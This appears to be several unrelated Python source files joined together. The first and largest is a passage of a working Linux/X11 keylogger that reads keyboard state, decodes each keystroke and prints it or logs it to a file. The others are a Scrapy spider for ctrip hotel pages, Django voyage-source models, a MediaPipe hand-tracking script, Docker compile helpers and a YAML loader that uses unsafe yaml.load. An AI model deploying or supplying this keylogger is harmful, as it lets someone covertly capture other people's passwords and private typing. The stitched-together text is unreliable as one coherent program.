        key = keys['regular'][0]
        modifiers = keys['modifiers']

        try:
            if not modifiers:
                if (key in self._letters
                        or key in self._digits
                        or key in self._layout['misc']):
                    res = key
                elif key in self._command_keys:
                    res = '<' + key + '>'
                else:
                    res = self._layout['no_mods'][key]
            elif self._only_shifts(modifiers):
                if key in self._letters:
                    res = key.upper()
                else:
                    res = self._layout['shift'][key]
            elif self._only_right_alt(modifiers):
                res = None
            else:
                res = None
        except KeyError:
            res = None

        return res

# ========
# Handlers
# ========

class PrintHandler:
    """Handler that uses the print function."""
    def handle(self, value):
        print(value)

class FileHandler:
    """Handler that writes in a file."""
    def __init__(self, stream):
        self._stream = stream

    def handle(self, value):
        self._stream.write(value + '\n')

# ============
# Core classes
# ============

class Keymap:
    """
    Keymap encapsulates the communication with the X11 library, and the
    transformation of the data structures obtained.
    """
    def __init__(self):
        self._x11 = ctypes.cdll.LoadLibrary(find_library("X11"))
        self._display = self._x11.XOpenDisplay(None)

        # This contains the keyboard state.
        # 32 bytes, with each bit representing the state for a single key.
        self._raw_keymap = (ctypes.c_char * 32)()

        self._modifiers = (
            'left shift', 'right shift',
            'left ctrl', 'right ctrl',
            'left alt', 'right alt',
            'left super', 'right super',
        )

        self._keymap_values_dict = {
            1: {
                2: 'esc',
                4: '1',
                8: '2',
                16: '3',
                32: '4',
                64: '5',
                128: '6',
            },
            2: {
                1: '7',
                2: '8',
                4: '9',
                8: '0',
                16: '-',
                32: '=',
                64: 'backspace',
                128: 'tab',
            },
            3: {
                1: 'q',
                2: 'w',
                4: 'e',
                8: 'r',
                16: 't',
                32: 'y',
                64: 'u',
                128: 'i',
            },
            4: {
                1: 'o',
                2: 'p',
                4: '[',
                8: ']',
                16: 'enter',
                32: 'left ctrl',
                64: 'a',
                128: 's',
            },
            5: {
                1: 'd',
                2: 'f',
                4: 'g',
                8: 'h',
                16: 'j',
                32: 'k',
                64: 'l',
                128: ';',
            },
            6: {
                1: '\'',
                2: '`',
                4: 'left shift',
                8: '\\',
                16: 'z',
                32: 'x',
                64: 'c',
                128: 'v',
            },
            7: {
                1: 'b',
                2: 'n',
                4: 'm',
                8: ',',
                16: '.',
                32: '/',
                64: 'right shift',
                128: 'keypad *',
            },
            8: {
                1: 'left alt',
                2: 'spacebar',
                4: 'capslock',
                8: 'f1',
                16: 'f2',
                32: 'f3',
                64: 'f4',
                128: 'f5',
            },
            9: {
                1: 'f6',
                2: 'f7',
                4: 'f8',
                8: 'f9',
                16: 'f10',
                32: 'keypad bloqnum',
                128: 'keypad 7',
            },
            10: {
                1: 'keypad 8',
                2: 'keypad 9',
                4: 'keypad -',
                8: 'keypad 4',
                16: 'keypad 5',
                64: 'keypad +',
                32: 'keypad 6',
                128: 'keypad 1',
            },
            11: {
                1: 'keypad 2',
                2: 'keypad 3',
                4: 'keypad 0',
                8: 'keypad .',
                64: '<',
                128: 'f11',
            },
            12: {
                1: 'f12',
            },
            13: {
                1: 'keypad intro',
                2: 'right ctrl',
                4: 'keypad /',
                8: 'printscreen',
                16: 'right alt',
                64: 'home',
                128: 'up',
            },
            14: {
                1: 'repag',
                2: 'left',
                4: 'right',
                8: 'end',
                16: 'down',
                32: 'avpag',
                64: 'insert',
                128: 'delete',
            },
            16: {
                32: 'left super',
                128: 'right super',
            },
        }

    def get_keymap(self):
        """Returns X11 Keymap as a list of integers"""
        self._x11.XQueryKeymap(self._display, self._raw_keymap)

        try:
            keyboard = [ord(byte) for byte in self._raw_keymap]
        except TypeError:
            return None

        return keyboard

    def get_keys(self, keymap):
        """Extract keys pressed from transformed keymap"""
        keys = dict(modifiers=[], regular=[])

        # loop on keymap bytes
        for keymap_index, keymap_byte in enumerate(keymap):
            try:
                keymap_values = self._keymap_values_dict[keymap_index]
            except KeyError:
                continue

            # loop on keymap_values for that keymap byte
            for key, value in keymap_values.items():
                if not keymap_byte & key:
                    continue
                elif value in self._modifiers:
                    keys['modifiers'].append(value)
                elif not keys['regular']:
                    keys['regular'].append(value)

        return keys

class Kl:
    """
    Kl contains the instances needed to run the main loop of the keylogger.
    """
    def __init__(self, sleep_time=.02, transformer=None,
                 handler=PrintHandler()):
        self._sleep_time = sleep_time
        self._transformer = transformer
        self._handler = handler
        self._okeymap = Keymap()
        self._last_keymap = None
        self._last_keys = dict(modifiers=[], regular=[])

    def run(self):
        """Main loop"""
        while True:
            keymap = self._okeymap.get_keymap()
            if keymap == self._last_keymap or not keymap:
                sleep(self._sleep_time)
                continue

            keys = self._okeymap.get_keys(keymap)
            if (keys['regular']
                    and keys['regular'] != self._last_keys['regular']):
                if self._transformer:
                    transformed_keys = self._transformer.transform(keys)
                    if transformed_keys is not None:
                        self._handler.handle(transformed_keys)
                else:
                    self._handler.handle(keys)

            self._last_keymap = keymap
            self._last_keys = keys

            sleep(self._sleep_time)

# =================
# Utility functions
# =================

def _parse_args():
    """Parse command line arguments."""
    import argparse
    parser = argparse.ArgumentParser(description='Keylogger for Linux + X11')
    arg = parser.add_argument
    arg('-s', '--sleep-time', type=float, help='seconds between iterations')
    arg('-t', '--transform', choices=['spanish', 'english_usa', 'pt_br'])
    arg('-f', '--file')
    arg('-l', '--line-buffering', action='store_true')
    args = parser.parse_args()
    return args

if __name__ == '__main__':
    args = _parse_args()

    if args.sleep_time:
        sleep_time = args.sleep_time
    else:
        sleep_time = .02

    if args.transform:
        if args.transform == 'english_usa':
            transformer = EnglishUsaTransformer()
        elif args.transform == 'spanish':
            transformer = SpanishTransformer()
        elif args.transform == 'pt_br':
            transformer = PtBrTransformer()
        else:
            transformer = None
    else:
        transformer = None

    if args.file:
        if args.line_buffering:
            f = open(args.file, mode='w', buffering=1)
        else:
            f = open(args.file, mode='w')
        handler = FileHandler(f)
    else:
        handler = PrintHandler()

    kl = Kl(sleep_time=sleep_time, transformer=transformer, handler=handler)
    kl.run()


__author__ = 'genxiaogu'

# http://hotels.ctrip.com/

from scrapy.contrib.spiders import CrawlSpider, Rule
from scrapy.contrib.linkextractors import LinkExtractor
# from jiandan.jiandan.items.hotel import hotel

from jiandan.items.hotel import *
import sys
reload(sys)
sys.setdefaultencoding( "utf-8" )

class ctrip(CrawlSpider):
    name = "ctrip"
    allowed_domains = ["ctrip.com"]
    start_urls = [
        'http://hotels.ctrip.com/hotel/1684711.html'
    ]
    rules = (
        # track this url
        # Rule(LinkExtractor(allow=('hotels.ctrip.com/hotel/([a-zA-Z0-9]+)/',),deny=('hotels.ctrip.com/hotel/dianping/([0-9]+)\.html',))),
        # get res body
        # Rule(LinkExtractor(allow=('hotels.ctrip.com/hotel/([0-9]+)\.html',),),callback='parse_hotel'),
        # get res body
        Rule(LinkExtractor(allow=('hotels.ctrip.com/hotel/([0-9]+)\.html',),),callback='parse_hotel',process_links=False),
    )

    def parse_hotel(self,res):
        item = hotel()
        item['name'] = res.xpath('//div[@class="name"]/h2[@class="cn_n"]/text()').extract()[0]
        item['url'] = res.url
        # # print '=====>',res.xpath('//span[@class="price"]')
        # # print '=====>',res.xpath('//p[@class="staring_price"]/span[@class="price"]')
        # item['city'] = res.xpath('//div[@class="address"]/span[@id="ctl00_MainContentPlaceHolder_commonHead_lnkCity"]/text()').extract()[0]
        item['city'] = res.xpath('//div[@id="ctl00_MainContentPlaceHolder_commonHead_lnkCity"]/text()').extract()
        item['price'] = res.xpath('//p[@class="staring_price"]/span[@class="price"]/text()').extract()
        #
        # print "name ==== > " , name , "url === > " , res.url
        # return item
        # print item
        # with open('genxiaogu','wb') as f:
        #     f.write(i)
        yield item
        # print res.body


from django.db import models
from model_utils.models import AutoLastModifiedField
import re
# Create your models here.

class LegacySource(models.Model):
	"""
	Voyage sources.
	Representing the original variables SOURCEA, SOURCEB, SOURCEC
	and etc to SOURCER
	"""

	short_ref = models.CharField(
		'Short reference',
		max_length=255,
		null=False,
		blank=True,
# 		unique=True
	)
	# Might contain HTML text formatting
	# SHOULDN'T. CAN'T. NO, NO, NO. WHAT WERE THEY THINKING. WE HAVE FULL-ON DIV TAGS IN THIS FIELD ON THE LIVE SITE.
	full_ref = models.CharField(
		'Full reference',
		max_length=2550,
		null=False,
		blank=True
	)

	last_modified=AutoLastModifiedField()

	class Meta:
		verbose_name = 'Legacy Voyage Source'
		verbose_name_plural = "Legacy Voyage Sources"
		ordering = ['short_ref', 'full_ref']

	def __str__(self):
		return self.full_ref

class SourcePage(models.Model):
	"""
	Voyage sources.
	Representing the original variables SOURCEA, SOURCEB, SOURCEC
	and etc to SOURCER
	"""

	item_url=models.URLField(null=True,blank=True)
	iiif_manifest_url=models.URLField(null=True,blank=True)
	iiif_baseimage_url=models.URLField(null=True,blank=True)

	last_modified=AutoLastModifiedField()

	def __str__(self):
		nonnulls=[i for i in [
				self.item_url,
				self.iiif_manifest_url,
				self.iiif_baseimage_url
			]
			if i is not None and i != ''
		]
		if len(nonnulls)==0:
			return ''
		else:
			return nonnulls[0]
	@property
	def square_thumbnail(self):
		if self.iiif_baseimage_url not in (None,""):
# 			square_thumbnail=re.sub("/full/max/","/square/200,200/",self.iiif_baseimage_url)
			#michigan's test server can't handle square requests
			iiif_endpoint_patterns="(/full/max/)|(/full/full/)"
			square_thumbnail=re.sub(iiif_endpoint_patterns,"/full/200,/",self.iiif_baseimage_url)
			return square_thumbnail
		else:
			return None

class SourcePageConnection(models.Model):
	zotero_source=models.ForeignKey(
		'ZoteroSource',
		related_name='page_connection',
		on_delete=models.CASCADE
	)

	source_page=models.ForeignKey(
		'SourcePage',
		related_name='zotero_connection',
		on_delete=models.CASCADE
	)

	class Meta:
		unique_together=[
			['zotero_source','source_page']
		]

class ZoteroSource(models.Model):
	"""
	Represents the relationship between Voyage and VoyageSources
	source_order determines the order sources appear for each voyage
	related to: :class:`~voyages.apps.voyage.models.VoyageSources`
	related to: :class:`~voyages.apps.voyage.models.Voyage`
	"""
	legacy_source = models.ForeignKey(
		'LegacySource',
		related_name="source",
		null=False,
		blank=False,
		on_delete=models.CASCADE
	)

	zotero_url=models.URLField()

	zotero_title=models.CharField(
		max_length=255,
		null=False,
		blank=False
	)

	zotero_date=models.CharField(
		max_length=60,
		null=False,
		blank=False
	)

	last_modified=AutoLastModifiedField()

	def __str__(self):
		return self.zotero_title + " " + self.zotero_date

	@property
	def zotero_web_page_url(self):
		if self.zotero_url not in (None,""):
			url=re.sub("api\.zotero\.org","www.zotero.org",self.zotero_url)
			return url
		else:
			return None


import cv2
import mediapipe as mp
import time

cap = cv2.VideoCapture(0)
mpHands = mp.solutions.hands
hands = mpHands.Hands()
mpDraw = mp.solutions.drawing_utils

prevTime = 0
currTime = 0

while True:
    success, img = cap.read()
    imageRGB = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)
    # hands only use RGB images
    results = hands.process(imageRGB)
    print(results.multi_hand_landmarks)
    # multi_hand_landmarks shows the coords if hand detected else None

    # extract multiple hands
    if results.multi_hand_landmarks:
        for handlms in results.multi_hand_landmarks:
            # get the landmark information, x,y coords
            for idx, lm in enumerate(handlms.landmark):
                # get the pixels out of the image decimal values
                height,width,channels = img.shape
                cx, cy = int(lm.x*width), int(lm.y*height)
                print(idx,cx,cy)
                # if id of landmark is 0->hand bottom end, 4 if tip of thumb, and others fingers 1,2,3
                if idx == 0:
                    cv2.circle(img, (cx,cy),15,(255,234,255),cv2.FILLED)

            # use mediapipe function to draw all points on hand and there are almost 21 points
            mpDraw.draw_landmarks(img, handlms, mpHands.HAND_CONNECTIONS)

    currTime = time.time()
    fps = 1 / (currTime - prevTime)
    prevTime = currTime

    cv2.putText(img, str(int(fps)), (10, 90), cv2.FONT_HERSHEY_COMPLEX, 3, (255, 255, 255, 255), 3)

    cv2.imshow("Image", img)
    cv2.waitKey(1)


import os
import docker
def writeLogsFile(containerObj): # To write container logs to out.txt, remove should be false if you are using this function
	Out = containerObj.logs(stdout=True,stderr=False).decode('ASCII')
	Error = containerObj.logs(stdout=False,stderr=True).decode('ASCII')
	OutFile = open('tmp/out.txt', 'w', encoding = 'utf-8')
#	OutFile.write(Out+'\n'+Error)
	OutFile.write(containerObj.logs().decode('ASCII'))
	OutFile.close()
def compileSrcCpp(versn, fileString):
	srcPath = os.getcwd() + '/tmp'
	file = open(srcPath + '/in.cpp','w+', encoding = 'utf-8')
	file.write(fileString)
	file.close()
	client = docker.from_env()
	containerObj = client.containers.run(image="ctp1", command=["/bin/bash", "-c", "cd /tmp; g++ -std=c++{} in.cpp 2> out.txt".format(versn)],
	 				volumes={srcPath:{'bind': '/tmp', 'mode':'rw'}}, detach = True, remove=True)
	containerObj.wait() # Wait till the container exits

def compileSrcJava(versn, fileString, fileName):
	if versn == "7" or versn == "8":
		srcPath = os.getcwd() + '/tmp'
		file = open(srcPath + '/' + fileName,'w+', encoding = 'utf-8')
		file.write(fileString)
		file.close()
		client = docker.from_env()
		img = "ctp"
		if versn == "7":
			img = img + "4"
		else:
			img = img + "5"

		containerObj = client.containers.run(image=img, working_dir = '/tmp', command=["javac", "{}".format(fileName)],
	 				volumes={srcPath:{'bind': '/tmp', 'mode':'rw'}}, detach = True)
		containerObj.wait()
		writeLogsFile(containerObj)


import yaml as yamllib

from metachao import aspect
from metachao.aspect import Aspect

from dicttree.yaml.log import logger as log

class yaml(Aspect):
    """serialize/deserialize a dicttree to/from yaml
    """
    def load(self, stream=None):
        # XXX: can we tell yaml to deserialize into a root node and
        # define a factory for nodes?
        tree = yamllib.load(stream)
        def _load(src, tgt):
            for k,v in src.items():
                if k.endswith('@'):
                    tgt.attrs[k[:-1]] = v
                    log.debug('Set attribute %r: %r' % (k[:-1], v))
                else:
                    self[k] = self.__metachao_class__
                    log.debug('Created node for %r: %r' % (k, v))
                    _load(v, self[k])
        _load(tree, self)

    # def dump(self, stream=None):
    #     return yamllib.dump(self, stream)